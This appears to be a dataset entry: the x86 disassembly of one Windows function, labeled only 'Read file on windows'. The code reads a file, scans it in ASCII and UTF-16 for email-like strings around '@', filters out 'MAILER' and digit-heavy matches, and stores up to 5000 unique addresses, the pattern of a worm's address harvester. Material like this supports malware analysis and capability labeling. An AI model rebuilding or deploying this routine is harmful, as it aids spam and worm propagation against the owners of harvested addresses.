Function at 0x408b30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
push esi
push edi
mov dword [ebp - 4], 0x64
push 0x40d1b0
mov eax, dword [ebp + 8]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4095eb
mov dword [ebp - 0x14], 0
push 2
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_fseek
add esp, 0xc
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.MSVCRT.dll_fgetpos
add esp, 8
push 0
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_fseek
add esp, 0xc
cmp dword [ebp - 8], 0
jl 0x408bb6
jg 0x408ba8
cmp dword [ebp - 0xc], 0x989680
jbe 0x408bb6
mov dword [ebp - 0xc], 0x989680
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0xc]
push edx
call sub.MSVCRT.dll_malloc
add esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4095cd
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
push 1
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCRT.dll_fread
add esp, 0x10
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x3e8
jle 0x4095cd
mov dword [ebp - 0x18], 0xc8
jmp 0x408c07
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 4]
sub ecx, 0xc8
cmp dword [ebp - 0x18], ecx
jge 0x4091dd
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx - 1]
cmp eax, 0x61
jl 0x408c39
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
xor edx, edx
mov dl, byte [ecx - 1]
cmp edx, 0x7a
jle 0x408c61
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax - 1]
cmp ecx, 0x41
jl 0x4091d8
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx - 1]
cmp eax, 0x5a
jg 0x4091d8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x40
jne 0x4091d8
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax + 1]
cmp ecx, 0x61
jl 0x408c94
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx + 1]
cmp eax, 0x7a
jle 0x408cbc
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
xor edx, edx
mov dl, byte [ecx + 1]
cmp edx, 0x41
jl 0x4091d8
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax + 1]
cmp ecx, 0x5a
jg 0x4091d8
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x24], edx
jmp 0x408cdb
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x18]
sub ecx, 0x64
cmp dword [ebp - 0x24], ecx
jle 0x408d1f
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x24]
xor eax, eax
mov al, byte [edx]
test eax, eax
je 0x408d12
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x24]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x3c
je 0x408d12
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x24]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x20
jg 0x408d1d
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x20], edx
jmp 0x408d1f
jmp 0x408cd2
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
jmp 0x408d30
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x18]
add edx, 0x64
cmp dword [ebp - 0x24], edx
jge 0x408d74
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x24]
xor ecx, ecx
mov cl, byte [eax]
test ecx, ecx
je 0x408d67
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x24]
xor eax, eax
mov al, byte [edx]
cmp eax, 0x3e
je 0x408d67
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x24]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x20
jg 0x408d72
mov eax, dword [ebp - 0x24]
sub eax, 1
mov dword [ebp - 0x1c], eax
jmp 0x408d74
jmp 0x408d27
cmp dword [ebp - 0x20], 0
je 0x4091d8
cmp dword [ebp - 0x1c], 0
je 0x4091d8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0xfc], 0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
jmp 0x408db1
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x1c]
jg 0x408de4
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x24]
xor edx, edx
mov dl, byte [ecx]
test edx, edx
je 0x408de2
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x30]
mov dl, byte [eax]
mov byte [ebp + ecx - 0xf8], dl
mov eax, dword [ebp - 0x30]
add eax, 1
mov dword [ebp - 0x30], eax
jmp 0x408da8
mov ecx, dword [ebp - 0x30]
mov byte [ebp + ecx - 0xf8], 0
movsx edx, byte [ebp - 0xf8]
cmp edx, 0x30
jl 0x408e0b
movsx eax, byte [ebp - 0xf8]
cmp eax, 0x39
jle 0x408ed3
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
movsx ecx, byte [ebp + ecx - 0xfa]
cmp ecx, 0x40
je 0x408ed3
push 0x2e
lea edx, [ebp - 0xf8]
push edx
call sub.MSVCRT.dll_strchr
add esp, 8
test eax, eax
je 0x408ed3
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
movsx eax, byte [ebp + ecx - 0xfb]
cmp eax, 0x40
je 0x408ed3
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
movsx ecx, byte [ebp + ecx - 0xfc]
cmp ecx, 0x40
je 0x408ed3
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
movsx edx, byte [ebp + ecx - 0xfd]
cmp edx, 0x40
je 0x408ed3
push str.MAILER
lea eax, [ebp - 0xf8]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x408ed3
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
cmp ecx, 0x2c
jbe 0x408ed8
jmp 0x408bfe
mov dword [ebp - 0x24], 0
jmp 0x408eea
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
cmp dword [ebp - 0x24], ecx
jge 0x408fb8
mov edx, dword [ebp - 0x24]
movsx eax, byte [ebp + edx - 0xf8]
cmp eax, 0x30
jl 0x408f29
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ebp + ecx - 0xf8]
cmp edx, 0x39
jle 0x408fa9
mov eax, dword [ebp - 0x24]
movsx ecx, byte [ebp + eax - 0xf8]
cmp ecx, 0x61
jl 0x408f49
mov edx, dword [ebp - 0x24]
movsx eax, byte [ebp + edx - 0xf8]
cmp eax, 0x7a
jle 0x408fa9
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ebp + ecx - 0xf8]
cmp edx, 0x41
jl 0x408f69
mov eax, dword [ebp - 0x24]
movsx ecx, byte [ebp + eax - 0xf8]
cmp ecx, 0x5a
jle 0x408fa9
mov edx, dword [ebp - 0x24]
movsx eax, byte [ebp + edx - 0xf8]
cmp eax, 0x40
je 0x408fa9
mov ecx, dword [ebp - 0x24]
movsx edx, byte [ebp + ecx - 0xf8]
cmp edx, 0x2e
je 0x408fa9
mov eax, dword [ebp - 0x24]
movsx ecx, byte [ebp + eax - 0xf8]
cmp ecx, 0x2d
je 0x408fa9
mov edx, dword [ebp - 0x24]
movsx eax, byte [ebp + edx - 0xf8]
cmp eax, 0x5f
jne 0x408fae
jmp 0x408ee1
mov dword [ebp - 0xfc], 1
mov dword [ebp - 0x24], 0
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x2c], ecx
jmp 0x408fd0
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
cmp dword [ebp - 0x24], ecx
jge 0x409024
mov eax, dword [ebp - 0x24]
movsx ecx, byte [ebp + eax - 0xf8]
cmp ecx, 0x30
jl 0x409022
mov edx, dword [ebp - 0x24]
movsx eax, byte [ebp + edx - 0xf8]
cmp eax, 0x39
jg 0x409022
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 5
jle 0x409022
mov dword [ebp - 0xfc], 1
jmp 0x409024
jmp 0x408fc7
cmp dword [ebp - 0xfc], 0
je 0x409032
jmp 0x408bfe
mov dword [ebp - 0x24], 0
jmp 0x409044
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
cmp eax, dword [0x41727c]
jge 0x409078
lea ecx, [ebp - 0xf8]
push ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [edx*4 + 0x41245c]
push eax
call fcn.00408ac0
add esp, 8
test eax, eax
jne 0x409076
mov dword [ebp - 0x28], 1
jmp 0x409078
jmp 0x40903b
mov dword [ebp - 0x24], 0
jmp 0x40908a
mov ecx, dword [ebp - 0x24]
add ecx, 1
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp edx, dword [0x41727c]
jge 0x40914e
lea edi, [ebp - 0xf8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
add ecx, 0xffffffff
mov byte [ebp - 0x104], cl
mov eax, dword [ebp - 0x104]
and eax, 0xff
cmp eax, 0xa
jl 0x409149
mov ecx, dword [ebp - 0x104]
and ecx, 0xff
mov dl, byte [ebp + ecx - 0xfc]
mov byte [ebp - 0x100], dl
mov eax, dword [ebp - 0x104]
and eax, 0xff
mov byte [ebp + eax - 0xfc], 0
lea ecx, [ebp - 0xf8]
push ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [edx*4 + 0x41245c]
push eax
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
je 0x409131
mov ecx, dword [ebp - 0x104]
and ecx, 0xff
mov dl, byte [ebp - 0x100]
mov byte [ebp + ecx - 0xfc], dl
mov dword [ebp - 0x28], 1
jmp 0x40914e
mov eax, dword [ebp - 0x104]
and eax, 0xff
mov cl, byte [ebp - 0x100]
mov byte [ebp + eax - 0xfc], cl
jmp 0x409081
cmp dword [ebp - 0x28], 0
jne 0x4091d8
cmp dword [0x41727c], 0x1388
jge 0x4091d8
mov edx, dword [ebp - 0x30]
add edx, 1
push edx
call sub.MSVCRT.dll_malloc
add esp, 4
mov ecx, dword [0x41727c]
mov dword [ecx*4 + 0x41245c], eax
mov edx, dword [0x41727c]
cmp dword [edx*4 + 0x41245c], 0
je 0x4091d8
lea edi, [ebp - 0xf8]
mov eax, dword [0x41727c]
mov ecx, dword [eax*4 + 0x41245c]
mov dword [ebp - 0x1e4], ecx
mov edx, dword [ebp - 0x1e4]
mov eax, dword [0x41727c]
add eax, 1
mov dword [0x41727c], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x408bfe
mov dword [ebp - 0x18], 0xc8
jmp 0x4091ef
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 4]
sub edx, 0xc8
cmp dword [ebp - 0x18], edx
jge 0x4095cd
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax - 2]
cmp ecx, 0x61
jl 0x409221
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx - 2]
cmp eax, 0x7a
jle 0x409249
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
xor edx, edx
mov dl, byte [ecx - 2]
cmp edx, 0x41
jl 0x4095c8
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax - 2]
cmp ecx, 0x5a
jg 0x4095c8
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx - 1]
test eax, eax
jne 0x4095c8
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
xor edx, edx
mov dl, byte [ecx]
cmp edx, 0x40
jne 0x4095c8
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax + 1]
test ecx, ecx
jne 0x4095c8
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx + 2]
cmp eax, 0x61
jl 0x4092a2
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x18]
xor edx, edx
mov dl, byte [ecx + 2]
cmp edx, 0x7a
jle 0x4092ca
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x18]
xor ecx, ecx
mov cl, byte [eax + 2]
cmp ecx, 0x41
jl 0x4095c8
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x18]
xor eax, eax
mov al, byte [edx + 2]
cmp eax, 0x5a
jg 0x4095c8
mov dword [ebp - 0x10c], 0
mov dword [ebp - 0x108], 0
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x110], ecx
jmp 0x4092f8
mov edx, dword [ebp - 0x110]
sub edx, 1
mov dword [ebp - 0x110], edx
mov eax, dword [ebp - 0x18]
sub eax, 0x64
cmp dword [ebp - 0x110], eax
jle 0x40934e
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx]
test edx, edx
jne 0x409329
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x110]
xor ecx, ecx
mov cl, byte [eax + 1]
test ecx, ecx
je 0x40933b
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x110]
xor eax, eax
mov al, byte [edx]
cmp eax, 0x3c
jne 0x40934c
mov ecx, dword [ebp - 0x110]
add ecx, 2
mov dword [ebp - 0x10c], ecx
jmp 0x40934e
jmp 0x4092e9
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x110], edx
jmp 0x409368
mov eax, dword [ebp - 0x110]
add eax, 1
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x18]
add ecx, 0x64
cmp dword [ebp - 0x110], ecx
jge 0x4093be
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x110]
xor eax, eax
mov al, byte [edx]
test eax, eax
jne 0x409399
mov ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 0x110]
xor edx, edx
mov dl, byte [ecx + 1]
test edx, edx
je 0x4093ab
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x110]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x3e
jne 0x4093bc
mov edx, dword [ebp - 0x110]
sub edx, 1
mov dword [ebp - 0x108], edx
jmp 0x4093be
jmp 0x409359
cmp dword [ebp - 0x10c], 0
je 0x4095c8
cmp dword [ebp - 0x108], 0
je 0x4095c8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov eax, dword [ebp - 0x10c]
mov dword [ebp - 0x110], eax
jmp 0x409409
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x110]
cmp edx, dword [ebp - 0x108]
jg 0x409451
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x110]
xor ecx, ecx
mov cl, byte [eax]
test ecx, ecx
je 0x40944f
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x110]
mov eax, dword [ebp - 0x118]
mov cl, byte [edx]
mov byte [ebp + eax - 0x1e0], cl
mov edx, dword [ebp - 0x118]
add edx, 1
mov dword [ebp - 0x118], edx
jmp 0x4093fa
mov eax, dword [ebp - 0x118]
mov byte [ebp + eax - 0x1e0], 0
mov dword [ebp - 0x110], 0
jmp 0x40947a
mov ecx, dword [ebp - 0x110]
add ecx, 1
mov dword [ebp - 0x110], ecx
mov edx, dword [ebp - 0x110]
cmp edx, dword [0x41727c]
jge 0x409538
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x1e8], eax
mov ecx, dword [ebp - 0x110]
mov edx, dword [ecx*4 + 0x41245c]
mov dword [ebp - 0x1ec], edx
mov eax, dword [ebp - 0x1ec]
mov cl, byte [eax]
mov byte [ebp - 0x1ed], cl
mov edx, dword [ebp - 0x1e8]
cmp cl, byte [edx]
jne 0x409509
cmp byte [ebp - 0x1ed], 0
je 0x4094fd
mov eax, dword [ebp - 0x1ec]
mov cl, byte [eax + 1]
mov byte [ebp - 0x1ee], cl
mov edx, dword [ebp - 0x1e8]
cmp cl, byte [edx + 1]
jne 0x409509
add dword [ebp - 0x1ec], 2
add dword [ebp - 0x1e8], 2
cmp byte [ebp - 0x1ee], 0
jne 0x4094ab
mov dword [ebp - 0x1f4], 0
jmp 0x409514
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x1f4], eax
mov ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f8], ecx
cmp dword [ebp - 0x1f8], 0
jne 0x409533
mov dword [ebp - 0x114], 1
jmp 0x40946b
cmp dword [ebp - 0x114], 0
jne 0x4095c8
cmp dword [0x41727c], 0x1388
jge 0x4095c8
mov edx, dword [ebp - 0x118]
add edx, 1
push edx
call sub.MSVCRT.dll_malloc
add esp, 4
mov ecx, dword [0x41727c]
mov dword [ecx*4 + 0x41245c], eax
mov edx, dword [0x41727c]
cmp dword [edx*4 + 0x41245c], 0
je 0x4095c8
lea edi, [ebp - 0x1e0]
mov eax, dword [0x41727c]
mov ecx, dword [eax*4 + 0x41245c]
mov dword [ebp - 0x1fc], ecx
mov edx, dword [ebp - 0x1fc]
mov eax, dword [0x41727c]
add eax, 1
mov dword [0x41727c], eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x4091e6
mov ecx, dword [ebp - 0x10]
push ecx
call sub.MSVCRT.dll_fclose
add esp, 4
cmp dword [ebp - 0x14], 0
je 0x4095eb
mov edx, dword [ebp - 0x14]
push edx
call sub.MSVCRT.dll_free
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret